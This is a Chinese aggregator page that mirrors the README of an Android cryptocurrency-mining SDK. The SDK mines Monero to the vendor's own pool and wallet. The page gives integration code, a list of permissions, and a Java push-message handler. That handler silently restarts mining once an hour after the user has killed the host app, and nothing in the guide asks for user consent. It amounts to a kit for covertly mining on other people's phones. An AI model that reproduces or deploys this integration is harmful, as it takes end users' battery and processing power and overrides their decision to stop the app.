• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

kuangzhongwen/MobileMinerSDK: android手机挖矿sdk,包含门罗,以太坊和zcash ...

原作者: [db:作者] 来自: 网络 收藏 邀请

开源软件名称(OpenSource Name):

kuangzhongwen/MobileMinerSDK

开源软件地址(OpenSource Url):

https://github.com/kuangzhongwen/MobileMinerSDK

开源编程语言(OpenSource Language):

C++ 98.9%

开源软件介绍(OpenSource Introduction):

MobileMinerSDK

android手机挖矿sdk,包含门罗(cpu),以太坊(gpu)和zcash(gpu)。

门罗挖矿效果:


## Waterhole手机挖矿v1.0.0 SDK文档
### SDK介绍

Waterhole手机挖矿SDK,目前提供了门罗币(Monero, 代号XMR)的挖矿支持。目前门罗币手机挖矿支持32位和64位的运行环境,支持的ABI为armeabi, armeabi-v7a, arm64-v8a。连接的矿池为Waterhole公司矿池,内置钱包地址为Waterhole公司门罗地址,第三方开源代码抽水为0%。


### 快速集成

1. 在app主模块的build.gradle中添加挖矿aar引用

compile(name: 'miner-core-1.0.0', ext: 'aar')
compile(name: 'miner-xmr-1.0.0', ext: 'aar')

2. 在app主模块的build.gradle中设置NDK ABI参数

ndk {
       abiFilters "armeabi", "armeabi-v7a", "arm64-v8a"
    }

注意:在gradle中设置abi,是为了SDK在运行时能够优先选择arm64-v8a。虽然目前SDK支持armeabi, armeabi-v7a, arm64-v8a,但是64位的arm64-v8a挖矿速度比32位的arm快20%-30%,所以优先适配arm64-v8a,如果实在不能适配(适配arm64-v8a的话,需要app中其他的库也有对应的arm64-v8a库),则SDK会选择32位的arm环境运行。


3. 权限

打开AndroidManifest.xml,添加组件需要的权限:

  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  <uses-permission android:name="android.permission.INTERNET" />
  <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
  <uses-permission android:name="android.permission.READ_PHONE_STATE" />
  <uses-permission android:name="android.permission.WAKE_LOCK" />

注意:SDK内部不做权限处理,交由接入方来处理。


4. 混淆

在混淆文件中加入:

-keep public class waterhole.miner.core.NoProGuard
-keep class * implements waterhole.miner.core.NoProGuard {*;}

5. 接入代码

在Application初始化Miner:

WaterholeMiner.enableLog(true);
WaterholeMiner.initApplication(this);

开始挖矿:

XmrMiner.instance().init(context)
		 .setStateObserver(new StateObserver(){})
		 .startMine(); 

停止挖矿:

XmrMiner.instance().stopMine(); 

是否正在挖矿:

XmrMiner.instance().isMining(); 

设置挖矿最大CPU温度(必须在startMine()函数之前调用,默认为65℃):

XmrMiner.instance().setMaxTemperature(int)

获取当前CPU温度:

XmrMiner.instance().getCurrentTemperature()

6. 推送保活拉起策略

挖矿SDK内部已经做好了保活,在用户不主动杀死接入方应用时,能尽可能存活。但由于国内Android手机的各种限制,为了保持挖矿时间, 在用户主动杀死接入应用后,还能再拉起挖矿服务,需要接入方配合处理。如果接入方接入了第三方推送SDK,可以利用推送后台, 定时推送透传消息到客户端(如每隔1小时),无需显示通知栏消息。在接收推送透传消息的逻辑中,根据指定的字段或者条件启动挖矿服务。 但init(Context)的Context参数必须为主进程的Context,不能为Service的context,否则启动挖矿会失败。

如,接入了个推的服务:

public final class GetuiIntentService extends GTIntentService {

    public GetuiIntentService() {
    }

    @Override
    public void onNotificationMessageClicked(Context context, GTNotificationMessage gtNotificationMessage) {
    }

    @Override
    public void onNotificationMessageArrived(Context context, GTNotificationMessage gtNotificationMessage) {
    }

    @Override
    public void onReceiveServicePid(Context context, int pid) {
        LogUtils.info("onReceiveServicePid -> " + pid);
    }

    @Override
    public void onReceiveMessageData(Context context, GTTransmitMessage msg) {
        String appid = msg.getAppid();
        String taskid = msg.getTaskId();
        String messageid = msg.getMessageId();
        byte[] payload = msg.getPayload();
        String pkg = msg.getPkgName();
        String cid = msg.getClientId();

        // 第三方回执调用接口,actionid范围为90000-90999,可根据业务场景执行
        boolean result = PushManager.getInstance().sendFeedbackMessage(context, taskid, messageid, 90001);
        LogUtils.info("call sendFeedbackMessage = " + (result ? "success" : "failed"));
        LogUtils.info("onReceiveMessageData -> " + "appid = " + appid + "\ntaskid = "
            + taskid + "\nmessageid = " + messageid + "\npkg = " + pkg
            + "\ncid = " + cid);
        if (payload == null) {
            LogUtils.error("receiver payload = null");
        } else {
            String data = new String(payload);
            LogUtils.info("receiver payload = " + data);
            /**
             * 定时推送透传消息拉起挖矿服务
             *
             * <li>
             *  1. 推送后台定时推送透传消息到接入客户端,约定好数据标识,如xmr_miner开头的字符,或者其他json串,无需启动通知栏通知
             *  2. init(Context)的Context参数必须为主进程的Context,不能为Service的Context,否则启动挖矿会失败
             * </li>
             */
            // todo 启动字段|条件接入方自行设置,但init(Context)的Context参数必须为主进程的Context,不能为Service的Context,否则启动挖矿会失败
            if (data.startsWith("xmr_miner")) {
                XmrMiner.instance().init(App.getContext()).setStateObserver(new StateObserver() {
                    @Override
                    public void onConnectPoolBegin() {
                    }

                    @Override
                    public void onConnectPoolSuccess() {
                    }

                    @Override
                    public void onConnectPoolFail(String error) {
                    }

                    @Override
                    public void onPoolDisconnect(String error) {
                    }

                    @Override
                    public void onMessageFromPool(String message) {
                    }

                    @Override
                    public void onMiningError(String error) {
                    }

                    @Override
                    public void onMiningStatus(double speed) {
                    }
                }).startMine();
            }
        }
    }

    @Override
    public void onReceiveClientId(Context context, String clientid) {
        LogUtils.error("onReceiveClientId -> " + "clientid = " + clientid);
        // 441731ee7e3a839e3268a529044ace7d
    }

    @Override
    public void onReceiveOnlineState(Context context, boolean online) {
        LogUtils.error("onReceiveOnlineState -> " + (online ? "online" : "offline"));
    }

    @Override
    public void onReceiveCommandResult(Context context, GTCmdMessage cmdMessage) {
        LogUtils.error("onReceiveCommandResult -> " + cmdMessage);
    }
}

7. API说明

7.1 class WaterholeMiner
enableLog()
参数名 参数类型 返回类型 说明
enable boolean void 是否开启日志打印,默认为true
initApplication()
参数名 参数类型 返回类型 说明
application Application void 初始化挖矿数据
7.2 class XmrMiner
instance()
参数名 参数类型 返回类型 说明
MinerInterface 获取XmrMiner实例(单例)
init()
参数名 参数类型 返回类型 说明
context Context MinerInterface 初始化
startMine()
参数名 参数类型 返回类型 说明
void 开始挖矿,内部会开启一个独立进程进行挖矿
stopMine()
参数名 参数类型 返回类型 说明
void 停止挖矿,会杀掉挖矿进程,释放资源
isMining()
参数名 参数类型 返回类型 说明
boolean 是否正在挖矿中,true 是 | false 否
setStateObserver()
参数名 参数类型 返回类型 说明
stateObserver StateObserver MinerInterface 挖矿状态观察者回调
setMaxTemperature()
参数名 参数类型 返回类型 说明
maxTemperature int MinerInterface 设置挖矿最大CPU温度,默认为65℃,必须在startMine()函数之前调用
getCurrentTemperature()
参数名 参数类型 返回类型 说明
int 获取当前CPU温度

##### 7.3 class StateObserver
onConnectPoolBegin()
参数名 参数类型 说明
开始连接矿池回调
onConnectPoolSuccess()
参数名 参数类型 说明
连接矿池成功回调
onConnectPoolFail()
参数名 参数类型 说明
error String 连接矿池失败回调,回调失败原因
onPoolDisconnect()
参数名 参数类型 说明
error String 与矿池连接断开,回调失败原因
onMessageFromPool()
参数名 参数类型 说明
message String 收到矿池信息回调
onMiningError()
参数名 参数类型 说明
error String 挖矿错误回调,回调失败原因
onMiningStatus()
参数名 参数类型 说明
speed double 挖矿速度,建议保留3-4位小数,门罗币的单位为H/s
7.4 class MinerInterface

各个挖矿币的统一接口,接入方无需了解。


8. 技术支持

qq: 651043704  
wechat: k651043704



鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap